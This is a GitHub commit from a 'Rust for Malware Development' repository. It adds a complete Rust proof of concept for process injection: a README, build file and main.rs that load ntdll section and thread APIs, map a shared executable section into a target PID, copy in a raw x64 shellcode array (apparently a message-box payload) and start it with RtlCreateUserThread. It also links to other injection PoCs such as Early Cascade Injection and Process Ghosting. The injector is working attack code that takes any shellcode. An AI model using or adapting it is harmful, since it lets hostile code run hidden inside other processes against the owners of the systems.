Skip to content

Commit 801c8c5

Browse files
committed
Repo Structure
Making the PoC Repository well documented and Structured.
1 parent f984a31 commit 801c8c5

File tree

17 files changed

+596
-138
lines changed

17 files changed

+596
-138
lines changed

Early Cascade Injection/README.md

Lines changed: 8 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -12,11 +12,7 @@ Executing Calc.exe Shellcode
1212

1313
![PoC](image.png)
1414

15-
## Reference / Credit:
16-
17-
* https://github.com/Cracked5pider/earlycascade-injection?tab=readme-ov-file
18-
* https://malwaretech.com/2024/02/bypassing-edrs-with-edr-preload.html
19-
* https://www.outflank.nl/blog/2024/10/15/introducing-early-cascade-injection-from-windows-process-creation-to-stealthy-injection/
15+
Download Earlycascade PoC: [Download](https://download.5mukx.site/#/home?url=https://github.com/Whitecat18/Rust-for-Malware-Development/tree/main/Early%20Cascade%20Injection)
2016

2117

2218
### USAGE:
@@ -29,9 +25,16 @@ cargo run --release Notepad.exe .\w64-exec-calc-shellcode.bin
2925

3026
> Note: This PoC Only Supports x64 shellcodes.
3127
28+
## Reference / Credit:
29+
30+
* https://github.com/Cracked5pider/earlycascade-injection?tab=readme-ov-file
31+
* https://malwaretech.com/2024/02/bypassing-edrs-with-edr-preload.html
32+
* https://www.outflank.nl/blog/2024/10/15/introducing-early-cascade-injection-from-windows-process-creation-to-stealthy-injection/
33+
3234

3335
You can replace any shellcode if you need. I Just used calc.bin shellcode !
3436

3537
By [@5mukx](https://x.com/5mukx)
3638

3739
For More PoC Codes. Please Check: [Rust for Malware Development](https://github.com/Whitecat18/Rust-for-Malware-Development/) Repository.
40+

GhostingProcess/README.md

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -6,6 +6,8 @@ Process ghosting is an advanced technique used in Windows systems to create a ne
66

77
![Ghost Process](./image.png)
88

9+
Download Process Ghosting PoC : [Download](https://download.5mukx.site/#/home?url=https://github.com/Whitecat18/Rust-for-Malware-Development/tree/main/GhostingProcess)
10+
911
## Credits and Reference
1012

1113
* https://github.com/hasherezade/process_ghosting.git

NtApi/NtMapViewOfSection/Cargo.toml

Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
[package]
2+
name = "NtMapViewOfSection"
3+
version = "0.1.0"
4+
edition = "2024"
5+
6+
[dependencies]
7+
winapi = { version = "0.3", features = [
8+
"basetsd",
9+
"processthreadsapi",
10+
"handleapi",
11+
"libloaderapi",
12+
"winnt",
13+
"minwindef",
14+
"ntdef",
15+
] }

NtApi/NtMapViewOfSection/README.md

Lines changed: 61 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,61 @@
1+
## Process Injection using NtCreateSection + NtMapViewOfSection
2+
3+
## Overview
4+
5+
This PoC program implements a process injection technique using Windows NT system calls:
6+
- NtCreateSection
7+
- NtMapViewOfSection
8+
- RtlCreateUserThread
9+
10+
![PoC Image](./image.png)
11+
12+
Download NtMapViewOfSection PoC: [Download](https://download.5mukx.site/#/home?url=https://github.com/Whitecat18/Rust-for-Malware-Development/tree/main/NtApi/NtMapViewOfSection)
13+
14+
## How does it work ?
15+
16+
1. **Setup**:
17+
- Takes a target PID as a command-line argument
18+
- Defines a shellcode array
19+
20+
2. **NTDLL Access**:
21+
- Loads ntdll.dll and gets function pointers for NtCreateSection, NtMapViewOfSection, and RtlCreateUserThread
22+
23+
3. **Section Creation**:
24+
- Creates a 4096-byte memory section with NtCreateSection
25+
- Sets it with execute/read/write permissions
26+
27+
4. **Memory Mapping**:
28+
- Maps the section into the current process with read/write permissions
29+
- Maps the same section into the target process with execute/read permissions
30+
- This creates a shared memory region between processes
31+
32+
5. **Injection**:
33+
- Copies the shellcode into the local mapped section
34+
- Since the section is shared, this makes it available in the target process
35+
36+
6. **Execution**:
37+
- Creates a new thread in the target process using RtlCreateUserThread
38+
- Sets the thread's starting address to the shellcode location
39+
- The shellcode executes in the target process's context
40+
41+
7. **Cleanup**:
42+
- Closes all handles to prevent resource leaks
43+
44+
## Requirements
45+
- rustc 1.85.1 (4eb161250 2025-03-15)
46+
- Rust toolchain (stable-x86_64-pc-windows-msvc (default))
47+
- Target process PID
48+
49+
## Usage
50+
51+
```bash
52+
cargo run --release <Target PiD>
53+
```
54+
55+
56+
## Credits / References
57+
58+
* https://www.ired.team/offensive-security/code-injection-process-injection/ntcreatesection-+-ntmapviewofsection-code-injection
59+
60+
Author: [@5mukx](https://x.com/5mukx)
61+

NtApi/NtMapViewOfSection/image.png

148 KB
Loading

NtApi/NtMapViewOfSection/src/main.rs

Lines changed: 244 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,244 @@
1+
/*
2+
Code Injection Using NtCreateSection + NtMapViewOfSection + RtlCreateUserThread.
3+
By @5mukx
4+
*/
5+
6+
use std::ffi::c_void;
7+
use std::io::Error;
8+
use std::process::exit;
9+
use std::ptr::null_mut;
10+
use winapi::shared::basetsd::SIZE_T;
11+
use winapi::shared::minwindef::{DWORD, ULONG};
12+
use winapi::shared::ntdef::{LARGE_INTEGER, NTSTATUS};
13+
use winapi::um::handleapi::CloseHandle;
14+
use winapi::um::libloaderapi::{GetModuleHandleA, GetProcAddress};
15+
use winapi::um::processthreadsapi::{GetCurrentProcess, OpenProcess};
16+
use winapi::um::winnt::{
17+
HANDLE, PAGE_EXECUTE_READ, PAGE_EXECUTE_READWRITE, PAGE_READWRITE, PROCESS_ALL_ACCESS,
18+
SEC_COMMIT,
19+
};
20+
21+
#[repr(C)]
22+
#[allow(non_snake_case)]
23+
struct UNICODESTRING {
24+
Length: u16,
25+
MaximumLength: u16,
26+
Buffer: *mut u16,
27+
}
28+
29+
#[repr(C)]
30+
#[allow(non_snake_case)]
31+
struct OBJECTATTRIBUTES {
32+
Length: ULONG,
33+
RootDirectory: HANDLE,
34+
ObjectName: *mut UNICODESTRING,
35+
Attributes: ULONG,
36+
SecurityDescriptor: *mut c_void,
37+
SecurityQualityOfService: *mut c_void,
38+
}
39+
40+
type MyNtCreateSection = unsafe extern "system" fn(
41+
section_handle: *mut HANDLE,
42+
desired_access: ULONG,
43+
object_attributes: *mut OBJECTATTRIBUTES, /*OBJECT_ATTRIBUTES*/
44+
maximum_size: *mut LARGE_INTEGER,
45+
page_attributes: ULONG,
46+
section_attributes: ULONG,
47+
file_handle: HANDLE,
48+
) -> NTSTATUS;
49+
50+
type MyNtMapViewOfSection = unsafe extern "system" fn(
51+
section_handle: HANDLE,
52+
process_handle: HANDLE,
53+
base_address: *mut *mut c_void,
54+
zero_bits: usize,
55+
commit_size: SIZE_T,
56+
section_offset: *mut LARGE_INTEGER,
57+
view_size: *mut SIZE_T,
58+
inherit_disposition: DWORD,
59+
allocation_type: ULONG,
60+
win32_protect: ULONG,
61+
) -> NTSTATUS;
62+
63+
type MyRtlCreateUserThread = unsafe extern "system" fn(
64+
process_handle: HANDLE,
65+
security_descriptor: *mut c_void,
66+
create_suspended: bool,
67+
stack_zero_bits: ULONG,
68+
stack_reserved: *mut ULONG,
69+
stack_commit: *mut ULONG,
70+
start_address: *mut c_void,
71+
start_parameter: *mut c_void,
72+
thread_handle: *mut HANDLE,
73+
client_id: *mut CLIENTID,
74+
) -> NTSTATUS;
75+
76+
#[repr(C)]
77+
#[allow(non_snake_case)]
78+
struct CLIENTID {
79+
UniqueProcess: *mut c_void,
80+
UniqueThread: *mut c_void,
81+
}
82+
83+
fn main() {
84+
let args: Vec<String> = std::env::args().collect();
85+
86+
if args.len() != 2 {
87+
println!("Usage: process.exe <PID>");
88+
exit(1);
89+
}
90+
91+
let target_pid = args[1].parse::<u32>().expect("Enter Valid PID");
92+
93+
let shellcode: [u8; 328] = [
94+
0xfc, 0x48, 0x81, 0xe4, 0xf0, 0xff, 0xff, 0xff, 0xe8, 0xd0, 0x00, 0x00, 0x00, 0x41, 0x51,
95+
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x3e, 0x48,
96+
0x8b, 0x52, 0x18, 0x3e, 0x48, 0x8b, 0x52, 0x20, 0x3e, 0x48, 0x8b, 0x72, 0x50, 0x3e, 0x48,
97+
0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02,
98+
0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x3e,
99+
0x48, 0x8b, 0x52, 0x20, 0x3e, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x3e, 0x8b, 0x80, 0x88,
100+
0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x6f, 0x48, 0x01, 0xd0, 0x50, 0x3e, 0x8b, 0x48,
101+
0x18, 0x3e, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x5c, 0x48, 0xff, 0xc9, 0x3e,
102+
0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41,
103+
0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x3e, 0x4c, 0x03, 0x4c, 0x24,
104+
0x08, 0x45, 0x39, 0xd1, 0x75, 0xd6, 0x58, 0x3e, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
105+
0x66, 0x3e, 0x41, 0x8b, 0x0c, 0x48, 0x3e, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x3e,
106+
0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41,
107+
0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
108+
0x59, 0x5a, 0x3e, 0x48, 0x8b, 0x12, 0xe9, 0x49, 0xff, 0xff, 0xff, 0x5d, 0x3e, 0x48, 0x8d,
109+
0x8d, 0x30, 0x01, 0x00, 0x00, 0x41, 0xba, 0x4c, 0x77, 0x26, 0x07, 0xff, 0xd5, 0x49, 0xc7,
110+
0xc1, 0x00, 0x00, 0x00, 0x00, 0x3e, 0x48, 0x8d, 0x95, 0x0e, 0x01, 0x00, 0x00, 0x3e, 0x4c,
111+
0x8d, 0x85, 0x24, 0x01, 0x00, 0x00, 0x48, 0x31, 0xc9, 0x41, 0xba, 0x45, 0x83, 0x56, 0x07,
112+
0xff, 0xd5, 0x48, 0x31, 0xc9, 0x41, 0xba, 0xf0, 0xb5, 0xa2, 0x56, 0xff, 0xd5, 0x48, 0x65,
113+
0x79, 0x20, 0x6d, 0x61, 0x6e, 0x2e, 0x20, 0x49, 0x74, 0x73, 0x20, 0x6d, 0x65, 0x20, 0x53,
114+
0x6d, 0x75, 0x6b, 0x78, 0x00, 0x6b, 0x6e, 0x6f, 0x63, 0x6b, 0x2d, 0x6b, 0x6e, 0x6f, 0x63,
115+
0x6b, 0x00, 0x75, 0x73, 0x65, 0x72, 0x33, 0x32, 0x2e, 0x64, 0x6c, 0x6c, 0x00,
116+
];
117+
118+
unsafe {
119+
let h_ntdll = GetModuleHandleA(b"ntdll.dll\0".as_ptr() as *const i8);
120+
if h_ntdll.is_null() {
121+
eprintln!("Failed to load ntdll.dll: {:?}", Error::last_os_error());
122+
exit(1);
123+
}
124+
125+
let nt_create_section: MyNtCreateSection = std::mem::transmute(GetProcAddress(
126+
h_ntdll,
127+
b"NtCreateSection\0".as_ptr() as *const i8,
128+
));
129+
let nt_map_view_of_section: MyNtMapViewOfSection = std::mem::transmute(GetProcAddress(
130+
h_ntdll,
131+
b"NtMapViewOfSection\0".as_ptr() as *const i8,
132+
));
133+
let rtl_create_user_thread: MyRtlCreateUserThread = std::mem::transmute(GetProcAddress(
134+
h_ntdll,
135+
b"RtlCreateUserThread\0".as_ptr() as *const i8,
136+
));
137+
138+
// section creation setup
139+
let mut section_handle: HANDLE = null_mut();
140+
141+
let mut section_size: LARGE_INTEGER = std::mem::zeroed();
142+
*section_size.QuadPart_mut() = 4096 as i64;
143+
144+
let desired_access = winapi::um::winnt::SECTION_MAP_READ
145+
| winapi::um::winnt::SECTION_MAP_WRITE
146+
| winapi::um::winnt::SECTION_MAP_EXECUTE;
147+
148+
let status = nt_create_section(
149+
&mut section_handle,
150+
desired_access,
151+
null_mut(),
152+
&section_size as *const _ as *mut LARGE_INTEGER,
153+
PAGE_EXECUTE_READWRITE,
154+
SEC_COMMIT,
155+
null_mut(),
156+
);
157+
158+
if status < 0 {
159+
eprintln!("[-] NtCreateSection failed with status: {:X}", status);
160+
exit(1);
161+
}
162+
163+
let mut local_section_address: *mut c_void = null_mut();
164+
let mut view_size = 4096;
165+
166+
let status = nt_map_view_of_section(
167+
section_handle,
168+
GetCurrentProcess(),
169+
&mut local_section_address,
170+
0,
171+
0,
172+
null_mut(),
173+
&mut view_size,
174+
2,
175+
0,
176+
PAGE_READWRITE,
177+
);
178+
179+
if status < 0 {
180+
eprintln!(
181+
"NtMapViewOfSection (local) failed with status: {:X}",
182+
status
183+
);
184+
exit(1);
185+
}
186+
187+
// create a view of the section in the target process
188+
let target_handle = OpenProcess(PROCESS_ALL_ACCESS, 0, target_pid);
189+
if target_handle.is_null() {
190+
eprintln!("OpenProcess failed: {:?}", Error::last_os_error());
191+
exit(1);
192+
}
193+
194+
let mut remote_section_address: *mut c_void = null_mut();
195+
let status = nt_map_view_of_section(
196+
section_handle,
197+
target_handle,
198+
&mut remote_section_address,
199+
0,
200+
0,
201+
null_mut(),
202+
&mut view_size,
203+
2,
204+
0,
205+
PAGE_EXECUTE_READ,
206+
);
207+
if status < 0 {
208+
eprintln!(
209+
"NtMapViewOfSection (remote) failed with status: {:X}",
210+
status
211+
);
212+
CloseHandle(target_handle);
213+
exit(1);
214+
}
215+
216+
std::ptr::copy_nonoverlapping(
217+
shellcode.as_ptr(),
218+
local_section_address as *mut u8,
219+
shellcode.len(),
220+
);
221+
222+
let mut target_thread_handle: HANDLE = null_mut();
223+
let status = rtl_create_user_thread(
224+
target_handle,
225+
null_mut(),
226+
false,
227+
0,
228+
null_mut(),
229+
null_mut(),
230+
remote_section_address,
231+
null_mut(),
232+
&mut target_thread_handle,
233+
null_mut(),
234+
);
235+
if status < 0 {
236+
eprintln!("RtlCreateUserThread failed with status: {:X}", status);
237+
}
238+
239+
CloseHandle(target_handle);
240+
if !target_thread_handle.is_null() {
241+
CloseHandle(target_thread_handle);
242+
}
243+
}
244+
}

NtApi/README.md

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
## NtAPI Usage
2+
3+
Here you can find the ntapi to perform PoC operations.
4+
5+
- [NtMapViewOfSection](./NtMapViewOfSection/)
6+
- [Shellcode Execution using NtApi](./Shellcode_Exectuion_NtApi/)
7+
8+
Download Ntapi PoC's: [Download](https://download.5mukx.site/#/home?url=https://github.com/Whitecat18/Rust-for-Malware-Development/tree/main/NtApi/)
Lines changed: 16 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,16 @@
1+
[package]
2+
name = "Shellcode_Exectuion_NtApi"
3+
version = "0.1.0"
4+
edition = "2024"
5+
authors = ["smukx", "5mukx.site"]
6+
7+
[dependencies]
8+
winapi = { version = "0.3", features = [
9+
"bcrypt",
10+
"processthreadsapi",
11+
"handleapi",
12+
"libloaderapi",
13+
"winnt",
14+
"minwindef",
15+
"ntdef",
16+
] }

0 commit comments

Comments
 (0)